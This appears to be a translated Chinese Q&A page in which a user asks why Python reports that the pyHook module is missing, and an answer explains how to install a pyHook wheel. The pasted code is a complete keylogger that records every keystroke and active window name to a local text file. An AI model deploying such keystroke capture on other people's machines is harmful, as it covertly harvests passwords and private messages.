获得“ModuleNotFoundError:没有名为'pyHook'的模块”,即使安装了模块

时间:2017-06-01 13:13:45

标签: python

所以在我的代码中我已经安装了所有使用的模块,但我总是得到错误,说它无法找到模块。请帮助谢谢。

代码:

    import pyHook, pythoncom, sys, logging , os , winsound , time

date = "C:\\Users\\Cameron PC\\Desktop\\Essays\\files\\keyloggeroutput"
date += time.strftime("%d.%m.%Y") + ".txt" 
x = time.ctime()
with open(date, "a") as f:
            f.write("\n")
            f.write("[" + x + "] : " )


def OnKeyboardEvent(event):
    global x 

    if event.Key =="Return" :
        with open(date, "a") as f:
            f.write(" {Enter}\n")
            f.write("[" + x +"|"+event.WindowName + "] : " )

    elif event.Key == "Space" :
        with open(date, "a") as f:
            f.write(" ")
    elif event.Key == "Back" :
        with open(date, "a") as f:
            f.write("{Bkspc}")

    else :
        with open(date, "a") as f:
            f.write(event.Key)


    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

1 个答案:

答案 0 :(得分:0)

尝试以下方法:

首先,从here下载pyhook,确保选择了正确的版本。

其次,在下载的文件夹中打开cmd并键入pip install pyHook-1.5.1-cp27-none-win32.whl,或者如果您选择其他版本,请键入相关版本。